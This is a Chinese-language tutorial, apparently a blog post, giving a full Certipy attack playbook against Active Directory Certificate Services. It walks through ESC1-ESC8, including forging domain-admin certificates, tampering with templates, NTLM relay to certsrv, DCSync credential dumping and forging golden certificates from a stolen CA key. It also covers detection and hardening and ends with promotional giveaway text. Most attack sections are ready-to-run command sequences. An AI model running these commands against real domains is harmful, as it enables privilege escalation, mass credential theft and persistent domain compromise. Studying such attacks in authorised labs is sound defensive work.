🔒免责声明:本文全部技术内容仅限授权渗透测试、红蓝对抗、安全学习研究使用。未经目标域环境书面授权,禁止在企业 AD 域执行证书枚举、证书申请、提权、伪造证书等攻击操作,未授权访问计算机系统属于违法行为。全部演示基于自建隔离靶场,请勿直接复制命令到业务内网执行。
目录
- 1. AD‑CS 基础概念,什么是 ESC 漏洞系列
- 1.1 AD‑CS 是什么
- 1.2 ESC 漏洞系列简介
- 2. Certipy 环境安装、基础参数说明
- 2.1 安装命令
- 2.2 Certipy 核心子模块总览
- 2.3 通用公共参数
- 3. 信息收集:枚举 CA 机构、扫描证书模板、自动识别 ESC 漏洞
- 3.1 基础扫描命令
- 3.2 导出完整 json 报告,后续可以二次分析
- 4. ESC1 漏洞原理 + Certipy 完整实战(最经典高危模板漏洞)
- 4.1 ESC1 漏洞原理
- 4.2 ESC1 漏洞完整利用命令
- 5. ESC2、ESC3 漏洞原理与实操
- 5.1 ESC2 漏洞 Any Purpose 任意用途 EKU
- 5.2 ESC3 Enrollment Agent 证书申请代理
- 6. ESC4 漏洞:模板 ACL 权限滥用,修改模板构造 ESC1 漏洞
- 6.1 ESC4 原理
- 6.2 Certipy ESC4 完整操作流程
- 7. ESC6 CA 全局配置漏洞;ESC8 NTLM 中继攻击 AD‑CS Web 端点
- 7.1 ESC6 CA 全局 EDITF_ATTRIBUTESUBJECTALTNAME2 漏洞
- 7.2 ESC8 NTLM Relay 中继攻击 AD‑CS Web 注册端点
- 8. Pass‑the‑Certificate:pfx 证书认证,拿到域用户 NTLM 哈希
- 9. 完整靶场实战:普通域用户通过 ESC1 漏洞拿下域控完整链路
- 10. CA 备份、证书持久化、Golden Certificate 黄金证书伪造
- 10.1 导出 CA 备份 pfx(需要 CA 服务器本地管理员权限)
- 10.2 forge 模块离线伪造黄金证书
- 11. Certipy 高频报错踩坑大全
- 问题 1:certipy‑ad find 扫描 LDAP 连接失败
- 问题 2:certipy‑ad req 申请证书返回 Denied,拒绝申请
- 问题 3:证书申请成功拿到 pfx,但是 certipy‑ad auth 认证失败
- 问题 4:ESC4 修改模板之后,申请证书依旧失败
- 问题 5:ESC8 NTLM‑Relay 没有拿到 pfx 证书
- 问题 6:pfx 证书导入 Windows,Rubeus asktgt 失败
- 12. Certipy 与 Certify、Rubeus 工具配合使用
- 13. 蓝队视角:AD‑CS 攻击日志检测、加固修复方案
- 13.1 关键事件 ID 狩猎
- 13.2 企业 AD‑CS 加固修复建议
- 14. AD‑CS Certipy 面试高频考点整理
- 15. 全文总结
- 一、网络安全(黑客)学习路线
- 二、网络安全教程视频
- 三、网络安全CTF实战案例
- 四、网络安全面试题
摘要
AD‑CS(Active Directory Certificate Services,活动目录证书服务)是 Windows 域环境常用组件,用于颁发域内用户、机器身份证书。大量企业运维对证书模板权限配置疏忽,产生 ESC1‑ESC8 等高危配置漏洞,攻击者仅凭普通域用户权限,即可申请伪造域管理员证书,通过证书认证拿下域控权限,实现域提权、横向移动、持久化后门。
Certipy 是目前 AD‑CS 攻击最主流开源工具,完全替代旧版 Certify 工具,支持 CA 证书机构枚举、证书模板扫描、自动识别 ESC 系列漏洞、申请恶意证书、证书认证、NTLM‑Relay 配合 ESC8 攻击、证书持久化、CA 备份伪造证书等全套能力。
很多安全学习者只会简单跑certipy find扫描,看不懂扫描输出报告,分不清 ESC 各个漏洞利用前置条件;申请证书报错、pfx 证书认证失败,搞不懂 Pass‑the‑Certificate 证书传递原理;遇到证书模板审批、ACL 权限问题束手无策。本文完整讲解 AD‑CS 基础概念、Certipy 环境安装、信息枚举、ESC1/ESC2/ESC3/ESC4/ESC6/ESC8 漏洞原理 + 完整实战命令、证书认证 Pass‑the‑Certificate、完整攻击链路、高频踩坑排错、蓝队检测加固方案、面试高频考点,形成完整实战手册。
MITRE ATT&CK 映射:T1649 窃取或伪造身份证书,T1558 Kerberos 票据伪造,T1550.003 Pass‑the‑Ticket 票据传递,T1021.002 SMB 横向移动。
1. AD‑CS 基础概念,什么是 ESC 漏洞系列
1.1 AD‑CS 是什么
AD‑CS 是 Windows 活动目录证书服务,企业部署之后搭建 CA 证书服务器,可以给域用户、域机器颁发 X.509 数字证书。证书携带用户身份信息(UPN、SID),支持 Kerberos 证书认证,拿到合法证书就可以代表对应账号身份登录域,不需要明文密码、不需要 NTLM 哈希。
证书里面两个关键属性:
- SAN(Subject Alternative Name,主题备用名称):可以填写账号 UPN,标识这个证书代表哪一个域账号;
- EKU(增强型密钥用法):决定证书能干什么,
Client Authentication(1.3.6.1.5.5.7.3.2)代表客户端身份认证,拥有这个 EKU 的证书才能用来做域 Kerberos 认证。
核心风险:如果配置出错,攻击者申请证书时可以自定义 SAN,填写域管理员 UPN,CA 服务器就会颁发一张代表域管理员的合法证书,攻击者拿着 pfx 证书文件,就能以域管理员身份和域控通信。
1.2 ESC 漏洞系列简介
ESC 是 “Misconfigured Certificate Template” 系列漏洞代号,不是软件 0day 漏洞,绝大多数属于配置错误,只有少量属于 CVE 代码漏洞。
| 漏洞编号 | 核心简述 | 攻击前置条件 |
|---|---|---|
| ESC1 | 申请者可自定义 SAN,模板拥有 Client‑Auth EKU,普通用户拥有注册权限 | 低权限用户可以 Enroll 注册模板,模板开启 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 标记,包含客户端认证 EKU |
| ESC2 | 模板 EKU 无限制 Any Purpose,任意用途证书 | 模板 EKU 为 Any Purpose,允许注册,可自定义 SAN |
| ESC3 | Enrollment Agent 申请代理 EKU,可代表其他用户申请证书 | 存在证书申请代理模板,第二个模板允许代理注册 |
| ESC4 | 低权限用户拥有模板写权限 (WriteDacl/WriteOwner/WriteProperty) | 攻击者可以修改模板属性,把安全模板改成 ESC1 恶意模板 |
| ESC5 | CA 机构对象 ACL 权限配置错误 | 对 CA 对象拥有高权限,可篡改 CA 配置 |
| ESC6 | CA 全局开启 EDITF_ATTRIBUTESUBJECTALTNAME2 | CA 服务器全局允许所有模板申请者自定义 SAN,所有模板全部沦陷,高危 |
| ESC7 | CA 管理员权限滥用,添加证书管理员,审批恶意证书申请 | 拥有 CA 管理员权限,手动颁发恶意证书 |
| ESC8 | AD‑CS Web 注册端点支持 NTLM 认证,可 Responder 中继 | CA 开启 HTTP 证书注册服务,支持 NTLM 认证,配合 NTLM Relay 获取机器证书certipy.co… |
注意:ESC 漏洞不等于代码漏洞,绝大多数是运维配置不当,打补丁无法修复,需要修改证书模板、CA 权限配置。Certipy 工具可以自动扫描识别以上全部风险点。
2. Certipy 环境安装、基础参数说明
Certipy 项目原仓库 ly4k/Certipy,现在维护包名为certipy‑ad,Kali 使用 pip 安装,注意包名不是 certipy,是 certipy‑ad,很多新手安装错包。
2.1 安装命令
#pip安装最新版本 pip3 install certipy‑ad #查看帮助,确认安装成功 certipy‑ad -h工具执行命令:
certipy‑ad,部分环境可以软链接别名certipy。
2.2 Certipy 核心子模块总览
| 子命令模块 | 功能说明 |
|---|---|
| certipy‑ad find | 信息枚举,扫描 CA、证书模板,自动检测 ESC 漏洞,最重要模块 |
| certipy‑ad req | 发起证书申请请求,向 CA 申请证书 |
| certipy‑ad auth | 使用 pfx 证书做认证,获取 TGT 票据,导出账号 NTLM 哈希(Pass‑the‑Certificate) |
| certipy‑ad ca | 管理 CA 服务器,发布证书、处理待审批请求、备份 CA 证书数据库 |
| certipy‑ad template | 修改证书模板配置(ESC4 利用) |
| certipy‑ad forge | CA 私钥备份之后,伪造 Golden Certificate 黄金证书 |
2.3 通用公共参数
-u / -username:域账号,格式 user@corp.local -p / -password:账号密码 -dc‑ip:填写域控IP,DNS解析异常时必须指定 ‑target:CA证书服务器主机名或者IP ‑ca:指定CA证书机构名称,扫描find结果可以拿到CA名字环境注意:Kali 的
/etc/resolv.conf必须配置域 DNS(域控 IP),否则 LDAP 枚举、Kerberos 证书认证全部失败;系统时间和域控时间误差不能大于 5 分钟,Kerberos 严格校验时间。
3. 信息收集:枚举 CA 机构、扫描证书模板、自动识别 ESC 漏洞
渗透测试拿到普通域用户账号密码之后,第一步使用certipy‑ad find做全量扫描,自动枚举域内所有 CA 服务器、全部证书模板,自动判断哪些模板存在 ESC 风险。
3.1 基础扫描命令
certipy‑ad find -u lowuser@corp.local -p 'Password@123' -dc‑ip 192.168.10.10 -vulnerable -enabled -stdout参数解释:
-vulnerable:只输出识别出来存在 ESC 漏洞的模板,过滤安全模板;-enabled:只扫描启用状态的证书模板;-stdout控制台直接输出,不保存 json 文件;不写该参数会自动输出 json 报告。
扫描输出重点观察内容:
Certificate Authorities:列出域全部 CA 机构名称、CA 服务器主机地址;Vulnerable Templates:列出所有存在 ESC 风险的模板,标记 ESC1/ESC2/ESC4 编号;- 每一个模板输出:模板名、需要的 ESC 条件、哪些用户组拥有 Enroll(注册)权限。
关键判断:即使模板标记 ESC1,如果普通域用户没有 Enroll 注册权限,也无法直接利用。
3.2 导出完整 json 报告,后续可以二次分析
certipy‑ad find -u lowuser@corp.local -p 'Password@123' -dc‑ip 192.168.10.10执行之后本地生成certipy‑find.json,保存全部 CA、模板详细属性。
坑点:扫描失败报错 LDAP 连接超时,检查 Kali DNS 配置、防火墙 389 端口连通域控。
4. ESC1 漏洞原理 + Certipy 完整实战(最经典高危模板漏洞)
4.1 ESC1 漏洞原理
ESC1 是实战环境遇到最多的 AD‑CS 配置错误。
满足全部 3 个条件即可利用:
- 证书模板开启标记
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT:允许证书申请者自定义 SAN 主题备用名称; - 模板 EKU 包含
Client Authentication(1.3.6.1.5.5.7.3.2)客户端认证用途; - 普通域用户(Authenticated Users / Domain Users)拥有这个模板的 Enroll 注册权限。
攻击者使用普通账号申请证书,手动指定‑upn administrator@corp.local,CA 服务器不会校验 SAN 身份,直接颁发一张代表域管理员的 pfx 证书,拿到 pfx 文件就可以模拟域管理员身份做 Kerberos 认证。
重点:模板本身没有绑定真实账号身份,攻击者申请的时候随便写 UPN。
4.2 ESC1 漏洞完整利用命令
扫描发现漏洞模板名称Vuln‑User‑Template,CA 名称为CORP‑DC01‑CA。
第一步:向 CA 服务器申请证书,指定伪造的 UPN 为域管理员
certipy‑ad req \ ‑u lowuser@corp.local \ ‑p 'Password@123' \ ‑ca CORP‑DC01‑CA \ ‑template Vuln‑User‑Template \ ‑upn administrator@corp.local \ ‑dc‑ip 192.168.10.10 \ ‑target dc01.corp.local执行成功输出:Saved certificate and private key to 'administrator.pfx'
本地生成administrator.pfx,包含证书 + 私钥,这个文件就是域管理员身份凭证。
如果模板开启 “证书申请需要管理员审批”,申请之后不会直接下发,会返回 Request ID,需要 CA 管理员执行
certipy‑ad ca ‑issue‑request <id>审批才能拿到证书。
第二步:拿到 pfx 证书,执行 Pass‑the‑Certificate 证书认证,获取 Kerberos TGT 票据,导出 NTLM 哈希
certipy‑ad auth -pfx administrator.pfx -dc‑ip 192.168.10.10工具会完成:
- 使用 pfx 证书向 KDC 申请域管理员 TGT 票据;
- 输出 administrator 账号 NTLM Hash;
- 自动保存 ccache 票据文件
administrator.ccache。
拿到 ccache 之后设置环境变量,就可以使用 Impacket 全套工具执行 DCSync、访问域控资源:
export KRB5CCNAME=administrator.ccache secretsdump.py -k dc01.corp.localESC1 完整攻击链路:普通域用户账号 → 申请伪造 SAN 证书 → 获取 pfx → 证书认证拿到 TGT 与 NTLM 哈希 → DCSync 导出域全部哈希,拿下整个域。
5. ESC2、ESC3 漏洞原理与实操
5.1 ESC2 漏洞 Any Purpose 任意用途 EKU
ESC2 条件:证书模板 EKU 设置为Any Purpose(任意用途),同时允许申请者提供 SAN,普通用户拥有 Enroll 注册权限。
Any Purpose 代表这张证书可以用于所有操作,包含客户端身份认证。利用方式和 ESC1 几乎一模一样,申请证书指定‑upn 伪造管理员 UPN。
certipy‑ad req \ ‑u lowuser@corp.local \ ‑p 'Password@123' \ ‑ca CORP‑DC01‑CA \ ‑template ESC2‑Template \ ‑upn administrator@corp.local \ ‑dc‑ip 192.168.10.10拿到 pfx 之后同样使用certipy‑ad auth完成证书认证。
5.2 ESC3 Enrollment Agent 证书申请代理
ESC3 分为两步攻击,需要两套模板:
- 模板 A:拥有
Certificate Request Agent(证书申请代理)EKU,普通用户可以注册,申请得到一张代理 Agent 证书; - 模板 B:支持 Enroll On Behalf Of(代表其他人申请),可以使用 Agent 证书代表其他账号申请证书。
攻击流程:
第一步,申请 Enrollment Agent 代理证书
certipy‑ad req \ ‑u lowuser@corp.local \ ‑p 'Password@123' \ ‑ca CORP‑DC01‑CA \ ‑template Agent‑Template \ ‑dc‑ip 192.168.10.10输出得到 agent.pfx 代理证书。
第二步,使用代理证书,代表域管理员申请客户端认证证书
certipy‑ad req \ ‑u lowuser@corp.local \ ‑p 'Password@123' \ ‑ca CORP‑DC01‑CA \ ‑template User \ ‑on‑behalf‑of administrator@corp.local \ ‑agent‑pfx agent.pfx \ ‑dc‑ip 192.168.10.10拿到 administrator.pfx,继续 certipy‑ad auth 认证。
ESC3 现实环境相对 ESC1 少见,企业很少配置 Enrollment Agent 模板。
6. ESC4 漏洞:模板 ACL 权限滥用,修改模板构造 ESC1 漏洞
6.1 ESC4 原理
ESC4 不属于模板本身属性漏洞;当低权限域用户,对某一张证书模板拥有写权限(WriteDacl / WriteProperty / WriteOwner),攻击者可以远程修改这个证书模板配置,人为把普通安全模板修改成 ESC1 漏洞模板,之后再申请恶意证书完成提权。
攻击前置条件:
- 当前账号对证书模板对象拥有 WriteDacl / WriteProperty / WriteOwner 权限;
- 模板本身启用,允许当前用户 Enroll 注册。
攻击风险:会修改 AD 域内真实证书模板配置,红蓝对抗环境结束必须恢复模板原始配置,避免影响业务。
6.2 Certipy ESC4 完整操作流程
第一步:备份模板原始配置(非常重要,攻击结束还原)
certipy‑ad template \ ‑u lowuser@corp.local \ ‑p 'Password@123' \ ‑dc‑ip 192.168.10.10 \ ‑template Safe‑User‑Template \ ‑save‑old原始配置保存为 json 文件。
第二步:修改模板,增加 ESC1 漏洞属性,开启允许申请者提供 SAN,添加 Client‑Auth EKU
certipy‑ad template \ ‑u lowuser@corp.local \ ‑p 'Password@123' \ ‑dc‑ip 192.168.10.10 \ ‑template Safe‑User‑Template \ ‑set‑enrollee‑supplies‑subject true \ ‑add‑eku "Client Authentication"修改完成之后,这个模板就具备 ESC1 全部条件。
第三步:像 ESC1 一样,使用修改之后的模板申请伪造管理员证书
certipy‑ad req \ ‑u lowuser@corp.local \ ‑p 'Password@123' \ ‑ca CORP‑DC01‑CA \ ‑template Safe‑User‑Template \ ‑upn administrator@corp.local \ ‑dc‑ip 192.168.10.10第四步:攻击完成,恢复模板原始配置,一定要执行,不要遗留风险配置在域环境!
certipy‑ad template \ ‑u lowuser@corp.local \ ‑p 'Password@123' \ ‑dc‑ip 192.168.10.10 \ ‑template Safe‑User‑Template \ ‑load‑old safe‑user‑template‑old.json重大 OPSEC 提醒:ESC4 会改动 AD 对象属性,域控制器会产生大量 4662 AD 对象修改日志,蓝队很容易捕获攻击行为。
7. ESC6 CA 全局配置漏洞;ESC8 NTLM 中继攻击 AD‑CS Web 端点
7.1 ESC6 CA 全局 EDITF_ATTRIBUTESUBJECTALTNAME2 漏洞
ESC6 不是模板漏洞,是CA 证书服务器本身注册表全局配置,开启EDITF_ATTRIBUTESUBJECTALTNAME2标记之后,域内所有证书模板全部允许申请者自定义 SAN,无论模板本身配置是什么,整个 AD‑CS 全部沦陷,高危等级最高。
运维错误命令:
certutil -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2,开启 ESC6 风险;修复命令把加号改为减号,重启 certsvc 证书服务。
利用方式和 ESC1 完全一致,随便找一个具备 Client‑Auth EKU、允许注册的模板,申请证书时指定‑upn 即可伪造身份。
certipy‑ad req \ ‑u lowuser@corp.local \ ‑p 'Password@123' \ ‑ca CORP‑DC01‑CA \ ‑template User \ ‑upn administrator@corp.local \ ‑dc‑ip 192.168.10.107.2 ESC8 NTLM Relay 中继攻击 AD‑CS Web 注册端点
ESC8 不需要域账号密码,依赖 NTLM 中继攻击。
前提条件:CA 服务器开启 HTTP 证书注册 Web 服务http://ca/certsrv,该 Web 端点支持 NTLM 身份认证。
攻击原理:使用 Responder 捕获内网机器 NTLM Net‑NTLMv2 认证,中继到 CA 的 /certsrv 证书注册接口,以被中继机器账号身份申请机器证书,拿到机器 pfx 证书文件。拿到域控机器账号证书,就可以 DCSync 导出域全部哈希。
Certipy ESC8 配合 impacket‑relay 脚本,监听中继:
impacket‑ntlmrelayx.py -t http://ca01/certsrv/certfnsh.asp -smb2support --adcs当受害者机器向攻击机做 NTLM 认证,relay 会自动向 CA 申请机器证书,保存 pfx 证书。
拿到机器 pfx 之后,certipy‑ad auth 完成认证。
ESC8 风险:很多企业开启 AD‑CS 的 Web 注册页面,没有关闭 NTLM 认证,内网一台机器沦陷直接中继拿域控权限。
8. Pass‑the‑Certificate:pfx 证书认证,拿到域用户 NTLM 哈希
Pass‑the‑Certificate(PtC,证书传递),对应票据传递 PTT,pfx 证书就是身份凭证。
pfx 文件内部包含:X509 证书 + 对应的 RSA 私钥。Certipy 的certipy‑ad auth模块封装 PtC 完整逻辑:
- 使用证书私钥,向域控 KDC 发送 AS‑REQ 请求,申请该账号 TGT 票据;
- 成功获取 TGT 之后,工具会同时输出账号 NTLM 哈希;
- 自动输出 ccache 票据文件,给 Impacket 工具使用。
#pfx文件,无密码直接执行 certipy‑ad auth -pfx administrator.pfx -dc‑ip 192.168.10.10 #pfx设置密码,使用‑password参数 certipy‑ad auth -pfx administrator.pfx -password '123456' -dc‑ip 192.168.10.10Windows 平台,Rubeus 工具也支持 PtC:
Rubeus.exe asktgt /pfx:administrator.pfx,生成 kirbi 票据,mimikatz kerberos::ptt 注入。
重要:pfx 证书本身可以离线拷贝,内网横向移动,攻击者可以把 pfx 拷贝到任意一台机器,只要网络连通域控,就能完成 Kerberos 认证,不需要登录原始申请证书主机。
9. 完整靶场实战:普通域用户通过 ESC1 漏洞拿下域控完整链路
靶场环境:
域 corp.local,域控 dc01.corp.local(192.168.10.10);CA 部署在域控;普通域账号 lowuser,密码 Password@123;扫描发现存在 ESC1 漏洞模板 VulnTemplate。
步骤 1:配置 Kali DNS 指向域控 IP,保证 LDAP、Kerberos 解析正常
echo "nameserver 192.168.10.10" > /etc/resolv.conf步骤 2:扫描 AD‑CS,确认 ESC1 漏洞模板
certipy‑ad find -u lowuser@corp.local -p 'Password@123' -dc‑ip 192.168.10.10 -vulnerable -enabled -stdout步骤 3:利用 ESC1 模板,申请伪造域管理员 UPN 证书
certipy‑ad req -u lowuser@corp.local -p 'Password@123' -ca CORP‑DC01‑CA -template VulnTemplate -upn administrator@corp.local -dc‑ip 192.168.10.10本地得到 administrator.pfx。
步骤 4:Pass‑the‑Certificate 证书认证,获取 TGT、NTLM 哈希、ccache 票据
certipy‑ad auth -pfx administrator.pfx -dc‑ip 192.168.10.10输出 administrator NT‑Hash,生成 administrator.ccache。
步骤 5:设置 KRB5CCNAME 环境变量,使用 Impacket secretsdump 执行 DCSync,导出域全部账号哈希
export KRB5CCNAME=administrator.ccache secretsdump.py -k dc01.corp.local至此,普通域用户权限,通过 AD‑CS ESC1 配置错误,完全拿下整个活动目录域。
10. CA 备份、证书持久化、Golden Certificate 黄金证书伪造
Golden Certificate(黄金证书),区别于黄金票据。攻击者拿到 CA 服务器的 CA 私钥备份 pfx 文件,可以本地离线伪造任意账号证书,不需要和 CA 服务器交互,属于域持久化后门。
10.1 导出 CA 备份 pfx(需要 CA 服务器本地管理员权限)
在 CA 服务器执行 certutil 备份 CA 数据库与私钥,或者 Certipy 远程备份:
certipy‑ad ca -backup -ca CORP‑DC01‑CA -u caadmin@corp.local -p 'Password@123' -dc‑ip 192.168.10.10得到 ca.pfx,里面是 CA 根证书 + CA 签名私钥。
10.2 forge 模块离线伪造黄金证书
拿到 ca.pfx 之后,攻击者本地离线伪造任意账号 pfx 证书,不需要访问 CA 服务器。
certipy‑ad forge \ ‑ca‑pfx ca.pfx \ ‑upn administrator@corp.local \ ‑dc‑ip 192.168.10.10输出伪造的 administrator‑golden.pfx,使用 certipy‑ad auth 认证。
防御关键点:CA 私钥一旦泄露,仅仅修改域账号密码无效;必须重新部署 CA,更换全部根证书,所有业务证书全部重新签发。
11. Certipy 高频报错踩坑大全
问题 1:certipy‑ad find 扫描 LDAP 连接失败
排查:Kali/etc/resolv.conf没有填写域 DNS(域控 IP);防火墙拦截 389 LDAP 端口;账号密码错误;域账号格式必须 user@corp.local。
问题 2:certipy‑ad req 申请证书返回 Denied,拒绝申请
- 当前账号对模板没有 Enroll 注册权限;
- 模板开启证书申请审批,申请需要 CA 管理员手动 Issue‑Request 审批;
- 模板 EKU 没有 Client Authentication,申请成功拿到 pfx 也不能做 Kerberos 身份认证;
- ESC6 没有开启,普通模板不允许自定义‑upn 参数,强行指定 SAN 会直接拒绝。
问题 3:证书申请成功拿到 pfx,但是 certipy‑ad auth 认证失败
- Kali 系统时间与域控时间相差超过 5 分钟,Kerberos 时间校验失败;
- 证书有效期过期;
- 证书缺少 Client Authentication EKU,证书不能用于身份认证;
- DNS 无法解析域控主机名。
问题 4:ESC4 修改模板之后,申请证书依旧失败
修改模板之后 AD 复制存在延迟,等待 AD 复制同步;确认模板修改成功,再次 find 扫描确认属性。红蓝对抗结束必须恢复原始模板配置。
问题 5:ESC8 NTLM‑Relay 没有拿到 pfx 证书
CA 服务器 certsrv 网页关闭;Web 端点禁用 NTLM 认证;防火墙拦截;目标主机没有向攻击机发起 NTLM 认证。
问题 6:pfx 证书导入 Windows,Rubeus asktgt 失败
pfx 证书私钥损坏;证书没有客户端认证 EKU;域控开启证书强映射校验。
12. Certipy 与 Certify、Rubeus 工具配合使用
- Certipy vs Certify
Certify 是 C# 开发 Windows 工具,老一代 AD‑CS 扫描工具;Certipy 是现代主流工具,运行在 Linux,功能更全,支持 ESC 全系列、ESC8 中继、模板修改、CA 备份、forge 伪造黄金证书,项目持续维护。现在渗透优先 Certipy。 - Certipy + Rubeus 配合工作流
Certipy(Linux):扫描 AD‑CS、申请 pfx 证书;把 pfx 传到 Windows 靶机;
Rubeus.exeasktgt /pfx:xxx.pfx:在 Windows 上使用 pfx 证书申请 TGT,输出 kirbi 票据;mimikatz kerberos::ptt 注入票据。
工作流:Linux Certipy 拿到 pfx → 传到被控 Windows 主机 → Rubeus 做 PtC,拿到 kirbi 票据,内网横向。
13. 蓝队视角:AD‑CS 攻击日志检测、加固修复方案
AD‑CS 攻击行为日志主要看 CA 服务器事件日志、域控 AD 安全日志。
13.1 关键事件 ID 狩猎
- CA 服务器事件 ID 4887:CA 颁发证书事件,观察证书申请者账号与证书 SAN 内 UPN 账号不一致,就是 ESC1 攻击特征,普通低权限用户申请一张 UPN 为域管理员的证书,高风险告警。
- 4888:证书申请被拒绝;
- 域控 Sysmon 监控异常进程读取 CA 数据库文件;
- AD 对象 4662 事件:证书模板对象 WriteProperty、WriteDacl 修改操作(ESC4 攻击)。
13.2 企业 AD‑CS 加固修复建议
- 修复 ESC1:证书模板取消
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT标记,非业务需要禁止申请者自定义 SAN;严格控制模板 Enroll 注册权限,普通 Authenticated Users 不要授予注册权限。 - 修复 ESC6 高危:清除 CA 注册表
EDITF_ATTRIBUTESUBJECTALTNAME2标记,重启 certsvc 证书服务。 - 修复 ESC4:收紧证书模板对象 ACL 权限,普通域用户禁止 WriteDacl、WriteOwner、WriteProperty 权限。
- ESC8:AD‑CS 的 certsrv Web 注册端点,禁用 NTLM 认证,强制使用 Kerberos 认证。
- 最小权限原则,不要给普通域用户证书模板注册权限;定期使用 Certipy 做安全审计扫描全部模板。
- CA 服务器做好隔离,CA 属于高价值资产,不要和业务应用共用服务器。
- 安全事件发生,如果怀疑 CA 私钥泄露,必须重建 CA,重新签发所有业务证书。
14. AD‑CS Certipy 面试高频考点整理
- 什么是 AD‑CS ESC 漏洞?属于 0day 吗?
绝大多数 ESC 漏洞属于证书模板、CA 服务配置错误,不是软件漏洞,打补丁无法修复,需要修改权限和模板属性。 - ESC1 漏洞触发的三个必要条件?
①模板开启 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT,允许申请者自定义 SAN;②模板 EKU 包含 Client Authentication 客户端认证;③低权限用户拥有模板 Enroll 注册权限。攻击者申请证书指定‑upn 伪造高权限账号身份。 - ESC1 攻击完整链路?
普通域用户 → Certipy req 申请证书,自定义 SAN (UPN) → 获取 pfx 证书文件 → Pass‑the‑Certificate 证书认证,向 KDC 申请 TGT → 获取 ccache 票据,执行 DCSync 拿下域控。 - Pass‑the‑Certificate (PtC) 证书传递原理,和 PTT 区别?
pfx 证书(证书 + 私钥)作为身份凭证向 KDC 申请 TGT;PTT 使用 kirbi/ccache 票据;PtC 源头是证书,PTT 源头是已经拿到的 Kerberos 票据。Linux 使用 certipy‑ad auth,Windows 可以 Rubeus asktgt 加载 pfx。 - ESC4 漏洞原理,攻击注意事项?
账号拥有证书模板 WriteDacl/WriteProperty/WriteOwner 权限,修改模板属性人为构造 ESC1 漏洞。攻击会修改 AD 真实模板,红蓝对抗结束必须还原模板原始配置,产生大量 AD 对象修改日志,OPSEC 风险高。 - ESC6 漏洞是什么?危害?
CA 全局注册表开启 EDITF_ATTRIBUTESUBJECTALTNAME2,域内所有证书模板全部允许自定义 SAN,整个 AD‑CS 沦陷高危漏洞,修改注册表重启证书服务修复。 - ESC8 漏洞原理?
AD‑CS 的 certsrv Web 注册端点支持 NTLM 认证,利用 NTLM Relay 中继内网机器认证,以受害者身份向 CA 申请机器证书,不需要账号密码。 - Golden Certificate 黄金证书和黄金票据区别?
黄金票据:伪造 TGT,需要 krbtgt 账号哈希;
黄金证书:拿到 CA 服务器根私钥 pfx,本地离线伪造任意账号证书,不需要和 CA 交互;CA 私钥泄露危害极大,仅修改账号密码无法防御。 - Certipy 主要子命令,find 模块作用?
find:枚举 CA 机构、证书模板,自动识别 ESC1‑ESC8 风险;req:申请证书;auth:pfx 证书认证;template 修改模板;ca 管理 CA;forge 伪造黄金证书。 - 防御 AD‑CS 配置漏洞的关键措施?
关闭不必要模板的 Enrollee‑Supplies‑Subject;收紧模板 ACL;修复 ESC6 注册表;certsrv 关闭 NTLM 认证;定期 Certipy 审计;CA 服务器隔离。
15. 全文总结
AD‑CS 证书服务是现代域渗透中非常重要攻击面,大量企业忽略证书模板权限审计,普通域用户权限即可直接拿下域控。Certipy 是 AD‑CS 攻击标准工具,完整覆盖枚举扫描、漏洞利用、证书认证、中继攻击、模板修改、CA 备份伪造黄金证书全套能力。
- 渗透流程:
certipy‑ad find扫描识别 ESC 风险模板 → req 申请恶意 pfx 证书 → auth 模块 Pass‑the‑Certificate 证书认证,拿到 Kerberos TGT 与 NTLM 哈希,后续 DCSync 拿下整个域。 - ESC1 实战出现频率最高;ESC6 属于全局高危配置,影响域全部模板;ESC4 依靠 ACL 写权限篡改模板;ESC8 依靠 NTLM 中继不需要账号密码。
- pfx 证书可以离线拷贝横向移动,只要连通域控,任意主机都可以做 PtC 证书认证。
- ESC4 攻击会修改 AD 对象配置,红蓝对抗测试完成务必要还原模板原始属性,避免遗留安全风险。
- 蓝队检测重点监控 CA 服务器 4887 证书颁发事件,检测申请者账号和证书 SAN 账号不一致行为;收紧证书模板 ACL 权限,定期使用 Certipy 做 AD‑CS 安全审计。
- CA 私钥泄露后果极其严重,攻击者可以离线伪造黄金证书,仅修改域账号密码无法消除后门,必须重建 CA 服务。
再次声明:本文所有技术仅限授权安全测试学习,未授权访问 AD 域、滥用 AD‑CS 属于违法行为。
以上就是今天的分享,觉得有帮助,记得点赞+收藏,以上所说到的漏洞扫描工具都整理成压缩包了,朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】
同时还为准备学习网络安全(黑客)或者正在学习,整理了一套360独家内部资料,包含以下内容,如有需要也可文末获取:
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析
一、网络安全(黑客)学习路线
网络安全(黑客)学习路线,形成网络安全领域所有的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。
二、网络安全教程视频
我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。
三、网络安全CTF实战案例
光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这里带来的是CTF&SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~
四、网络安全面试题
最后,我们所有的作为都是为就业服务的,所以关键的临门一脚就是咱们的面试题内容,所以面试题板块是咱们不可或缺的部分,这里我给大家准备的就是我在面试期间准备的资料。
网安其实不难,难的是坚持和相信自己,我的经验是既然已经选定网安你就要相信它,相信它能成为你日后进阶的高效渠道,这样自己才会更有信念去学习,才能在碰到困难的时候坚持下去。
机会属于有准备的人,这是一个实力的时代。人和人之间的差距不在于智商,而在于如何利用业余时间,只要你想学习,什么时候开始都不晚,不要担心这担心那,你只需努力,剩下的交给时间!
这份完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】